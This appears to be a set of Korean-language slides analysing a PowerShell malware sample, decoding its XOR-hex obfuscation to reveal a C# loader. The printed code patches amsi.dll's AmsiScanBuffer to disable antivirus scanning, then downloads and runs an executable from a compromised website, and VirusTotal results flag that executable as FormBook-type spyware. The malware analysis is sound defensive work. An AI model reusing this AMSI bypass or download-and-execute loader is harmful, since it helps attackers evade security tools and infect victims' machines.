5e1c2d760801105a5c0319600d10475709177d1117083f6e4946160f5a51445a5f151040120358004554486920555
11b39194301015f5b0719400002475b0719560c1756400a197a1a1763461619411202040151117a1a176346161957
770a4d410d335c5b0a4d134943117e0b5857380a5140054b4a564a6e12144c51180a5012174d52000a50120141471
7165756185001104819761a17414b34565a1a170e103250410016525e344b5c0006504646106e541346500850504
1619521502500b4819461d0d47121d00501757060b48195c011713470d57475401020452580a4d4a086920555f3d0
6401158436057107552071776401656414905525e175c1a29434046054d5a1743564a105c411a43455d0d5d130605
4c51180a5012174d52000a50120d574754015007575c1b5d187a5c10694706434750550b5117430e121c005240000
947064d695716561a0f045c460b194a175650515f447a1a17634616195015010756520c0e06055205570c1b000102
5a124b5053060d5742560e0f2d57472417411c3e5c411b4a48550b4d5c541a5007075a0809367a5c1069470643465
71055061e115a074d541f021c0d03580c46464458064354005406101a0f045c460b194a175650515f44710d175669
1c025f1c25555f1b007b75085651150f1b014d027e1511405a05551d370c434b4c4e044151570a48091f05060a560
45302504d1542115a5751010d1f474a084b070c5017591365015b70180a565c1019434002505653045d1114136501
02475a4c7c5d020a415d0a54561a171d61145c501d025f740b555711111d7314495f1d0052460d565d300247534d1
7755b085c1b165b06055c5a525c410251550e074357010701080545000301550d0740525002070c0b410702025508
0602000c0440530650540b064c565103530c0741550302505a0741565102550d5640530650570c0615570302060c0
1462d57551b435000510f50490d56454469411b005641176a471511477b0a5f5c5c19570a50011a4f33415d075c40
12060106435b50534c4a47060a5d5544430a1756570b4d424000115a5c0319574c025705010411000000000000005
1515d0a5a2f565c034d5b4f0a180f561048161a4757444b5515540007597a5c1a1556401017671b214a460111494d
446713105b5256535c685c0a1c004d191654070b53000e565a2f565c034d5b294a084f165c4701115d121c0052400
12 $w86aa92 = b8578ca($w86aa9);
13 Add-Type -TypeDefinition $w86aa92;
14 [ga317]::bc53e();
15
16
```

다른 케이스 2

```
Windows PowerShell

PS C:\Users\jz> function b8578ca {
>> param($h3ef2)
>> $tb7d4ce = 'tc32d93';$c265514 = '';
>> for ($i = 0; $i -lt $h3ef2.length; $i+=2) {
>> $a8e3636 = [convert]::ToByte($h3ef2.Substring($i, 2), 16);
>> $c265514 += [char]($a8e3636 -bxor $tb7d4ce[($i / 2) % $tb7d4ce.length]);
>> }
>> return $c265514;
>> }

PS C:\Users\jz> $w86aa9 = '01105a5c0319600d104757090246070a5d55446a4a0717565f4a6b461a175a5f01177a1a1756400b49601111455
b075c404f16405b0a5e13271a404601541d300a52550a5640000a50415f4c401d0d541237404000065e1c2d760801105a5c0319600d10475709177
d1117083f6e4946160f5a51445a5f151040120358004554486920555f3d0e435d164d1b560856400a5c5f4751111e215747061a635d0d574749417
4571069411b007256004b560710111b39194301015f5b0719400002475b0719560c1756400a197a1a1763461619411202040151117a1a176346161
9574c02570501154000115a5c03194947060b50550c1a4f38775e08705e040c41464c1b5811115d57080a01564f13770a4d410d335c5b0a4d13494
3117e0b5857380a5140054b4a564a6e12144c51180a5012174d52000a501201414711115d122d5747241741121c00524000021a174d411d0d54120
e5c0743011a093f7d5f182a5e420b4b475c415857165756185001104819761a17414b34565a1a170e103250410016525e344b5c0006504646106e5
41346500850505410475310505054064b46014b5d54015c5d0819511500040001117a1a17634616195d47500057486c7a1a1763461619521502500
b4819461d0d47121d00501757060b48195c011713470d57475401020452580a4d4a086920555f3d0e435d164d1b562856400a5c5f47511d5608551
15843765c104b4a240c5a5c10041126175f7f0b4f5639065e5d16401158436057107552071776401656414905525e175c1a29434046054d5a17435
64a105c411a43455d0d5d130605510b570a1b3d0d4762104b131655500450157a1a1763461619411151070048505d00435b04565a0b11511a09144

65a2f565c034d5b294a084f165c4701115d121c0052400002091944';
PS C:\Users\jz> $w86aa92 = b8578ca($w86aa9);
PS C:\Users\jz> $w86aa92

using System;using System.Runtime.InteropServices;using System.Diagnostics;using System.IO;using System.Net;
public class ga317{[DllImport("kernel32", EntryPoint="GetProcAddress")] public static extern IntPtr rfa735(IntPtr d8ad7
e,string z3e8b15);[DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr x9a4c1(string je47b)
;[DllImport("kernel32", EntryPoint="VirtualProtect")] public static extern bool bac72e(IntPtr n333e,UIntPtr aaac9, uint
y9cc459, out uint b166a99);[DllImport("Kernel32.dll", EntryPoint="RtlMoveMemory", SetLastError=false)] static extern
void rfb933(IntPtr b6c64,IntPtr re242,int h62c8e2);public static int bc53e(){IntPtr tb12bc = x9a4c1(b8578ca("150e405b
4a5d5f18"));if(tb12bc==IntPtr.Zero){goto yc5cc;}IntPtr cab4d65=rfa735(tb12bc,b8578ca("350e405b375a521a214654025c41"));
if(cab4d65==IntPtr.Zero){goto yc5cc;}UIntPtr uc497=(UIntPtr)5;uint a5773fb=0;if(!bac72e(cab4d65,uc497,0x40,out a5773fb
)){goto yc5cc;}Byte[] w752d8={0x31,0xff,0x90};IntPtr qe9dce4=Marshal.AllocHGlobal(3);Marshal.Copy(w752d8,0,qe9dce4,3);
rfb933(new IntPtr(cab4d65.ToInt64()+0x001b),qe9dce4,3);yc5cc: WebClient p4acd7=new WebClient();string zd848=Environment
.GetFolderPath(Environment.SpecialFolder.ApplicationData)+"\\jed9d"+b8578ca("5a064b57");p4acd7.DownloadFile(b8578ca(
"1c1747425e161c0314441c0c585d101146410c17501b0e1c451414501b0d47570a4d1c040f46550d57405b02585b175456004c455b014e405b355a
400b54561a21455e0b4f565a064b57"),zd848);ProcessStartInfo c256c=new ProcessStartInfo(zd848);Process.Start(c256c);return
0;}public static string b8578ca(string z9c5d9){string d8ad7e="tc32d93";string x9a4c1=String.Empty;for(int i=0;i<z9c5d
9.Length;i+=2){byte rfa735=Convert.ToByte(z9c5d9.Substring(i,2),16);x9a4c1+=(char)(rfa735 ^ d8ad7e[(i/2) % d8ad7e.Length]);}return x9a4c1;}
PS C:\Users\jz>
```

다른 케이스 2

- b8578ca 는 상위 powershell에서 정의된 string decode func
- LoadLibrary등 Win32API를 직접 호출하고 있음

```
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Net;
public class ga317 {
    [DllImport("kernel32", EntryPoint = "GetProcAddress")] public static extern IntPtr rfa735(IntPtr d8ad7e, string z3e8b15);
    [DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr x9a4c1(string je47b);
    [DllImport("kernel32", EntryPoint = "VirtualProtect")] public static extern bool bac72e(IntPtr n333e, UIntPtr aaac9, uint y9cc459, out uint b166a99);
    [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void rfb933(IntPtr b6c64, IntPtr re242, int h62c8e2);
    public static int bc53e() {
        IntPtr tb12bc = x9a4c1(b8578ca("150e405b4a5d5f18"));
        if(tb12bc == IntPtr.Zero) {
            goto yc5cc;
        }
        IntPtr cab4d65 = rfa735(tb12bc, b8578ca("350e405b375a521a214654025c41"));
        if(cab4d65 == IntPtr.Zero) {
```

다른 케이스 2

- decoding 된 문자열




A screenshot of a Windows PowerShell window titled "Windows PowerShell". The window shows several command-line entries. The first entry is "PS C:\Users\jz> b8578ca("150e405b4a5d5f18")" followed by "amsi.dll". The second entry is "PS C:\Users\jz> b8578ca("350e405b375a521a214654025c41")" followed by "AmsiScanBuffer". The third entry is "PS C:\Users\jz> b8578ca("1c1747425e161c0314441c0c585d101146410c17501b0e1c451414501b0d47570a4d1c040f46550d57405b02585b175456004c455b014e405b355a400b54561a21455e0b4f565a064b57")" followed by the URL "http://www.handrush.com/wp-content/plugins/akismet/views/ViromenBvlove.exe". The final entry is "PS C:\Users\jz>".

```
PS C:\Users\jz> b8578ca("150e405b4a5d5f18")
amsi.dll
PS C:\Users\jz> b8578ca("350e405b375a521a214654025c41")
AmsiScanBuffer
PS C:\Users\jz> b8578ca("1c1747425e161c0314441c0c585d101146410c17501b0e1c451414501b0d47570a4d1c040f46550d57405b02585b175456004c455b014e405b355a400b54561a21455e0b4f565a064b57")
http://www.handrush.com/wp-content/plugins/akismet/views/ViromenBvlove.exe
PS C:\Users\jz>
```

다른 케이스 2

- amsi.dll!AmsiScanBuffer 패치 (진단우회)

```
IntPtr hAmsiDll = LoadLibrary("amsi.dll");
if(hAmsiDll == IntPtr.Zero) {
    goto yc5cc;
}
IntPtr ptrAmsiScanBuffer = GetProcAddress(hAmsiDll, "AmsiScanBuffer");
if(ptrAmsiScanBuffer == IntPtr.Zero) {
    goto yc5cc;
}
UIntPtr uc497 = (UIntPtr) 5;
uint a5773fb = 0;
if(!VirtualProtect(ptrAmsiScanBuffer, uc497, 0x40, out a5773fb)) {
    goto yc5cc;
}
Byte[] w752d8 = {
    0x31, 0xff, 0x90 // xor edi, edi + nop
};
IntPtr qe9dce4 = Marshal.AllocHGlobal(3);
Marshal.Copy(w752d8, 0, qe9dce4, 3);
RtlMoveMemory(new IntPtr(ptrAmsiScanBuffer.ToInt64() + 0x001b) qe9dce4, 3);
```



31ff	xor	edi,edi
90	nop	
67c0		

- 함수 + 0x1b 옵셋을 패치

다른 케이스 2

- 함수 + 0x1b 옵셋을 패치

```
amsi!AmsiScanBuffer:
00007ff9`de412420 4c8bdc    mov    r11,rsi
00007ff9`de412423 49895b08  mov    qword ptr [r11+8],rbx
00007ff9`de412427 49896b10  mov    qword ptr [r11+10h],rbp
00007ff9`de41242b 49897318  mov    qword ptr [r11+18h],rsi
00007ff9`de41242f 57       push   rdi
00007ff9`de412430 4156       push   r14
00007ff9`de412432 4157       push   r15
00007ff9`de412434 4883ec70  sub    rsp,70h
00007ff9`de412438 4d8bf9       mov    r15,r9
00007ff9`de41243b 418bf8       mov    edi,r8d
00007ff9`de41243e 488bf2       mov    rsi,rdx
00007ff9`de412441 488bd9       mov    rbx,rcx
00007ff9`de412444 488b0dc0cb0000  mov    rcx,qword ptr [amsi!WPP_GLOB
00007ff9`de41244b 488d05c6cb0000  lea    rax,[amsi!WPP_GLOBAL_Control
00007ff9`de412452 488b000000000000  mov    rbp,qword ptr [rax+0D0h]
```

- $\text{edi} == \text{r8} := 0$, r8은 x64 calling convention상 3번째 인자

→ Length := 0

```
HRESULT AmsiScanBuffer(
    HAMSICONTEXT amsiContext,
    PVOID         buffer,
    ULONG         length,
    LPCWSTR       contentName,
    HAMSISESSION  amsiSession,
    AMSI_RESULT   *result
);
```

다른 케이스 2

- 이후 hxxx://www.handrush.com/wp-content/plugins/akismet/views/ViromenBvlove.exe에서 파일 받아 실행

The screenshot shows the VirusTotal analysis interface. On the left, there's a circular progress bar with the number '18' and '/ 68'. Below it, a red progress bar indicates a 'Community Score'. The main area displays the file information: SHA256 (7ea7fdcd10b1630dcdd02e1ac446606ddc419a7e3255de7386542ce7134d18f2), file name (viromenbvlove.exe), size (682 KB), and last update (2019-08-26 17:38:16 UTC / 1 day ago). A 'PE executable' icon is shown. Below this, a table lists 18 detection results from various engines:

DETECTION	DETAILS	RELATIONS	BEHAVIOR	COMMUNITY
Acronis	! Suspicious			SecureAge APEX ! Malicious
CrowdStrike Falcon	! Win/malicious_confidence_80% (D)			Cybereason ! Malicious.f1f37f
Cylance	! Unsafe			Cyren ! W32/MSIL_Kryptik.NA.gen!Eldorado
ESET-NOD32	! A Variant Of MSIL/Kryptik.SMR			FireEye ! Generic.mg.b874427f06ee3cbc
Ikarus	! Trojan-Spy.FormBook			Kaspersky ! UDS:DangerousObject.Multi.Generic
Malwarebytes	! Trojan.RMCrypt.MSIL.Generic			Microsoft ! Trojan:Win32/Wacatac.B!ml
Palo Alto Networks	! Generic.ml			Qihoo-360 ! HEUR/QVM03.0.77A7.Malware.Gen

대세 ○ 자!



Q&A

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